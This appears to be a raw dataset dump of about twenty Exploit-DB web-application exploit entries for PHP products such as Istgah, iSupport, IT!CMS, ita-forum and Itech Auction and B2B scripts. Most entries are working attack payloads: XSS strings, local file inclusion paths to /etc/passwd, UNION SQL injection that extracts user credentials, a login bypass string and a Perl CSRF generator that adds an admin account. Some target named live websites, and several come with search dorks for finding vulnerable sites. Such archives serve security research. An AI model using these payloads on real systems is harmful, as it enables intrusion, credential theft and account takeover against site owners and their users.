deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33827
Description: Istgah For Centerhost - 'view_ad.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-07
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/39330/info

Istgah for Centerhost is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Istgah/view_ad.php?id=/"&#039;><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #12106
Description: Istgah for Centerhost - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-07
Author: indoushka

Exploit:
 ========================================================================================                  
| # Title    : Istgah for Centerhost Mullti Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://dl.p30vel.ir/scripts/Istgah_for_Centerhost_p30vel.ir.zip                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 -XSS:
 
 http://127.0.0.1/Istgah/view_ad.php?id=/"'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
 
 2 - By PAss :
 
 http://127.0.0.1/Istgah/admincp/cpindex.html
 
 3 - Backup:
 
 http://127.0.0.1/Istgah/admincp/backup/

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #43097
Description: iStock Management System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iStock Management System 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://ikodes.com/
# Software Link: https://codecanyon.net/item/istock-management-system/20405084
# Demo: http://project.ikodes.com/basicims/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15962
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users upload arbitrary file....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/user/profile
# http://localhost/[PATH]//assets/images/[FILE]
# 
# Etc..
# # # # #
Exploit-DB #33412
Description: iSupport 1.8 - 'index.php?which' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-16
Author: Stink & Essandre

Exploit:
source: https://www.securityfocus.com/bid/37380/info
 
iDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
iSupport 1.8 and prior versions are vulnerable.

http://www.example.com/helpdesk/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E
Exploit-DB #33411
Description: iSupport 1.8 - 'ticket_function.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-16
Author: Stink & Essandre

Exploit:
source: https://www.securityfocus.com/bid/37380/info

iDevSpot iSupport is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

iSupport 1.8 and prior versions are vulnerable.

http://www.example.comhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E
Exploit-DB #10478
Description: iSupport 1.8 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-16
Author: Stink & Essandre

Exploit:
---------------------------------------------
++ iSupport <= 1.8 ++
XSS/Local File Include Exploit
---------------------------------------------


Discovered by : Stink' & Essandre
DATE : 16/12/09

//////////////////////////////////////////////////////////////////////

Website : http://www.idevspot.com/
DEMO : http://www.idevspot.com/demo/iSupport/
DOWNLOAD : http://www.idevspot.com/iSupport.php => $

//////////////////////////////////////////////////////////////////////


[+] Vulnerability and Exploitation

Dork : "Powered by [ iSupport 1.8 ]"


--[XSS]--

http://[TARGET]/[PATH]/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=[XSS]
http://[TARGET]/[PATH]/function.php?which=[XSS]

Exemple :
http://server/helpdesk/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E
http://serverhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E

--[XSS]-- in the member zone

http://jvdominator.com/helpdesk/index.php?include_file=ticket_submit.php
The flaw is in the form.
In "Subject, Comments, etc. ..."
After clicking "Submit Ticket" and you have your alert xss:)

--[LFI]--

http://[TARGET]/[PATH]/index.php?include_file=[LFI]

Exemple :

http://server/helpdesk/index.php?include_file=../../../../../proc/self/environ
http://server/helpdesk/index.php?include_file=../../../../../etc/passwd


[+] Solution :

N/A

The flaw is secure on some site, but we do not know if the publisher or persons using the scripts that are secure.
Exploit-DB #17436
Description: iSupport 1.8 - SQL Injection
Type: webapps
Platform: php
Date: 2011-06-23
Author: Brendan Coles

Exploit:
iSupport 1.8 SQL Injection Vulnerability

# Date: 2011-06-23
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-06-23-iSupport-1.8-SQL-Injection-Vulnerability/

# Software: iSupport
# Version: <= 1.8
# Homepage: http://www.idevspot.com/iSupport.php
# Google Dork: "Powered by [ iSupport 1.8 ]"

# Vendor: idevSpot
# Homepage: http://www.idevspot.com/
# Notified: Unnotified

# SQL Injection:

http://localhost/[PATH]/index.php?include_file=knowledgebase_list.php&x_category=null union select null,concat(user(),0x3a,database(),0x3a,@@datadir),null,null,null,null--
Exploit-DB #18404
Description: iSupport 1.x - Cross-Site Request Forgery / HTML Code Injection (Add Admin)
Type: webapps
Platform: php
Date: 2012-01-21
Author: Or4nG.M4N

Exploit:
#!/usr/bin/perl
########################################################################
# Title    : iSupport v1.x => Html Code injection to add admin
# Author   : Or4nG.M4n
# Version  : 1.x
# Homepage : http://www.idevspot.com/iSupport.php
# Google Dork: "Powered by [ iSupport 1.8 ]"
# Homepage : http://www.idevspot.com/
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    |
# |   Dr.Bnned ahwak2000 sa^Dev!L    |
# +----------------------------------+
#                       html injection to add Admin
# vuln : pending_testimonials.php
#
#      <tr bgcolor="#F9F9F9"> 
#	<td width="100%"> <b> 
#	 <?php echo $title;?>
#	 </b> <i>posted by</i> <b> 
#	 <?php echo $name;?>
#	 </b> [ <a href="<?php echo $website; ?>" target="_blank"><b>Website</b></a> ] <br>
#	 <i> 
#	 <?php echo $body; ?>
#	 </i></td>
#	<td> 
# How i can Fixed ..
# in all vuln file 
# Replace : echo $website; echo $title; echo $body; => Replace with => echo htmlspecialchars($website); like this ..
# Thnks to All Stupid Coders  

system("cls");
print 
"
+----------------------------------------+\n
| iSupport 1.x inject html to Add Admin  |\n
|  Or4nG.M4n  sA^Dev!L  xSs m4n  i-Hmx   |\n
+----------------------------------------+\n
Loading ...\n
";
sleep(3);
print "tragt & path #";
$h = <STDIN>;
chomp $h;
print "User #";
$user = <STDIN>;
chomp $user;
print "Mail #";
$mail = <STDIN>;
chomp $mail;
print "Pass #";
$pass = <STDIN>;
chomp $pass;
$html = '<form name="xss" method="post" action= "'.$h.'/admin/function.php?which=ADMINISTRATORS&return=administrators&id=&t1=NAME&t2=EMAIL&t3=PASSWORD">
<input type="text" name="1" value="'.$user.'" size="30">
<input type="text" name="2" value="'.$mail.'" size="30">
<input type="text" name="3" value="'.$pass.'" size="30">
<script>document.xss.submit();</script>
</form>';
sleep(2);
print "Createing ...\n";
open(XSS , '>>csrf.htm');
print XSS $html;
close(XSS);
print "Createing Done .. \n";
sleep(2);
print "Plz UPLOAD csrf.htm to your Site and Put's Url h3r3 #";
$csrf = <STDIN>;
chomp $csrf;
$done = '<iframe id="iframe" src="'.$csrf.'" width="777" height="678"></iframe>';
sleep(2);
print "NOW INJECT This Code \n";
print $done."\n";
print "";
print "\n Enjoy .. ";

# The End
Exploit-DB #7465
Description: isweb CMS 3.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-14
Author: XaDoS

Exploit:
[â– ]  IsWeb CMS v 3.0 ($qL/XsS) Multiple vulnerabilities
 
>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.cmsisweb.it

>---------------------------------------<
 
 
[â– ] BlinD $qL:
 
|: http://www.example.com/index.php?id_sezione=[$qL] 

> DeM0:
 
|: http://www.comune.avezzano.aq.it/index.php?id_sezione=297%20and%20substring(@@version,1,1)=4 [No]
 
|: http://www.comune.avezzano.aq.it/index.php?id_sezione=297%20and%20substring(@@version,1,1)=5 [Ye$]
 
 
[â– ] XSS: 
 
|: http://www.comune.avezzano.aq.it/index.php?azione=cerca  
  In this modul (search) write:
 
  "><script>alert(document.cookie)</script> 
 
or another vuln Page:
 
|: http://www.comune.avezzano.aq.it/index.php?id_doc=19&id_oggetto=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cmarquee%3E%3Ch1%3EXSS%20by%20XaDoS%3Ch1%3E%3C/marquee%3E
 
[â– ] Th4nKs::
 
\>Str0ke</ - \>Fuck you 007 hacker</ - \>Securitycode team</ - \>All italian hackers</

# milw0rm.com [2008-12-14]
Exploit-DB #30433
Description: IT!CMS 0.2 - 'lang-en.php?wndtitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-30
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25129/info

IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/lang-en.php?wndtitle=[Xss-script]
Exploit-DB #30434
Description: IT!CMS 0.2 - 'menu-ed.php?wndtitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-30
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25129/info
 
IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/menu-ed.php?wndtitle=[Xss-script]
Exploit-DB #30435
Description: IT!CMS 0.2 - 'titletext-ed.php?wndtitle' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-30
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25129/info
  
IT!CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
IT!CMS 0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/titletext-ed.php?wndtitle=[Xss-script]
Exploit-DB #10284
Description: ita-forum 5.1.32 - SQL Injection
Type: webapps
Platform: php
Date: 2009-11-30
Author: BAYBORA

Exploit:
/**************************************************************************
[+] Homepage    : www.1923turk.biz

**************************************************************************/

## EXPLOIT :
 
http://server/index.php?cat=-89+union+select+1,2,3,concat(user_name,0x3a,user_pass),5,6,7,8,9,0,1,2,3,4,5+from+itaf_user--
 
-----------------------------------------------

Manas58 Delibey Tiamo
 
###############################################################################
Exploit-DB #11012
Description: ITaco Group ITaco.biz - 'view_news' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-06
Author: Err0R

Exploit:
=============================================================================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----------------------------------------------------------------------------
############################################################################
# (+) Title : ITaco Group ITaco.biz (view_news) SQL Injection Vulnerability
# (+) Auther: Err0R
# (+) Site : sa-hacker.com/vb
# (+) Email : a5q(AT)hotmail(dot)com
############################################################################
-----------------------------------------------------------------------------

# (+) dork : intext"powered by itaco group"

-----------------------------------------------------------------------------

# (+) Exploit : site/path/view_news.php?id=-999+union+select+1,2,3,4,5,6,7,8,9--
and you come the Inject
(+) Demo :-
Username : http://ardabiliec.ir/view_news.php?id=-117+union+select+1,2,3,userid,5,6,7,8,9+from+ardabil_ardabil_iec.userlog%20--

Passoword: http://ardabiliec.ir/view_news.php?id=-117+union+select+1,2,3,password,5,6,7,8,9+from+ardabil_ardabil_iec.users--

-----------------------------------------------------------------------------
-------------
Good Luck
-------------
# (+) Greetz To :-
===================================================+
all member in www .Sa-hacker.com/vb |
++++++++++++++++++++++++++++++++++++++++++++ |
Special To :Pepsi & Dr.X3 & wlhaan & X-SHADOW |
++++++++++++++++++++++++++++++++++++++++++++ |
===================================================+

-----------------------------------------------------------------------------
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
=============================================================================
Exploit-DB #7686
Description: ItCMS 2.1a - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-06
Author: certaindeath

Exploit:
                     __         .__            .___             __  .__     
  ____  ____________/  |______  |__| ____    __| _/____ _____ _/  |_|  |__  
_/ ___\/ __ \_  __ \   __\__  \ |  |/    \  / __ |/ __ \\__  \\   __\  |  \ 
\  \__\  ___/|  | \/|  |  / __ \|  |   |  \/ /_/ \  ___/ / __ \|  | |   Y  \
 \___  >___  >__|   |__| (____  /__|___|  /\____ |\___  >____  /__| |___|  /
     \/    \/                 \/        \/      \/    \/     \/          \/ 
--+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++--
--+++~~~~~ IT!CMS <= vers. SQL Injection Vulnerability ~~~~~+++--
--+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++--
[+] Discovered by: certaindeath
[+] Exploit: simple SQL injection
[+] Path: [cms dir]/login.php
[+] Username: ' OR 'x' = 'x
[+] [CREDENTIAL_REDACTED]
[+] Have fun ^^

# milw0rm.com [2009-01-06]
Exploit-DB #41187
Description: Itech Auction Script 6.49 - 'mcid' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Itech Auction Script v6.49 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/auction-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Auction Script v6.49 is the best standard auction product. This also comes pre-integrated with a robust Multi-Vendor interface and a powerful CMS panel.

Type of vulnerability:

An SQL Injection vulnerability in Itech Auction Script allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://locahost/mcategory.php?mcid=4[payload]

Parameter: mcid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mcid=4' AND 1734=1734 AND 'Ggks'='Ggks

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: mcid=-5980' UNION ALL SELECT CONCAT(0x71706b7171,0x764646494f4c7178786f706c4b[PII_REDACTED][PII_REDACTED]65666c6b6456434c766b73755a44657777,0x7171706a71)-- XAee
Exploit-DB #41229
Description: Itech Auction Script 6.49 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Itech Auction Script v6.49 – 'pid' Parameter SQL Injection
# Google Dork: N/A
# Date: 02.02.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/auction-script/
# Demo: http://auction.itechscripts.com/
# Version: 6.49
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax-files/list_photo.php?pid=[SQL]
# E.t.c.
# # # # #
Exploit-DB #41188
Description: Itech B2B Script 4.28 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Itech B2B Script v4.28 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/b2b-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

B2B Script v4.28 is a versatile web solution for the webmasters who are willing to launch their own B2B Portal within a few minutes.

Type of vulnerability:

An SQL Injection vulnerability in Itech B2B Script v4.28 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7[payload]

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' AND 6539=6539 AND 'Fakj'='Fakj

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: http://localhost/catcompany.php?token=704667c6a1e7ce56d3d6fa748ab6d9af3fd7' OR SLEEP(5) AND 'aEyV'='aEyV

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: http://localhost/catcompany.php?token=-4421' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x596a5174756f[PII_REDACTED][PII_REDACTED]426f697a[PII_REDACTED]697a[PII_REDACTED]65494a[PII_REDACTED],0x716b707a71),NULL,NULL,NULL,NULL-- JwUA ---
Exploit-DB #41359
Description: Itech B2B Script 4.29 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-02-12
Author: Marc Castejon

Exploit:
Exploit Title : Itech scripts B2B Script v4.29 - Multiple Vulnerability
Google Dork :    -
Date : 12/02/2017
Exploit Author : Marc Castejon <marc@silentbreach.com>
Vendor Homepage : http://itechscripts.com/b2b-script/
Software Link: http://b2b.itechscripts.com
Type : webapps
Platform: PHP
Version: 4.29
Sofware Price and Demo : $250

------------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/search.php
Vulnerable Parameters: keywords
Method: GET
Payload:  ') UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x5055787a[PII_REDACTED]494e58566e66484f[PII_REDACTED]4d[PII_REDACTED]48434b70657a4c45556b534e,0x716a626271)#

------------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/search.php
Vulnerable Parameters: rctyp
Method: GET
Payload: ') UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x5055787a[PII_REDACTED]494e58566e66484f[PII_REDACTED]4d[PII_REDACTED]48434b70657a4c45556b534e,0x716a626271)#

-----------------------------------------------

Type: Reflected XSS
Vulnerable URL:http://localhost/[PATH]/search.php
Vulnerable Parameters: rctyp
Method: GET
Payload: <img src=i onerror=prompt(1)>

-----------------------------------------------

Type: Reflected XSS
Vulnerable URL:http://localhost/[PATH]/search.php
Vulnerable Parameters: keyword
Method: GET
Payload: <img src=i onerror=prompt(1)>

------------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/catcompany.php
Vulnerable Parameters: token
Method: GET
Payload:  ') UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x5055787a[PII_REDACTED]494e58566e66484f[PII_REDACTED]4d[PII_REDACTED]48434b70657a4c45556b534e,0x716a626271)#

-----------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/buyleads-details.php
Vulnerable Parameters: id
Method: GET
Payload:  ') UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x5055787a[PII_REDACTED]494e58566e66484f[PII_REDACTED]4d[PII_REDACTED]48434b70657a4c45556b534e,0x716a626271)#

-----------------------------------------------

Type: Stored XSS
Vulnerable URL:http://localhost/[PATH]/ajax-file/sendMessage.php
Vulnerable Parameters: msg_message
Method: POST
Payload: <img src=i onerror=prompt(1)>

------------------------------------------------

Type: Stored XSS
Vulnerable URL:http://localhost/[PATH]/my-contactdetails.php
Vulnerable Parameters: fname
Method: POST
Payload: <img src=i onerror=prompt(1)>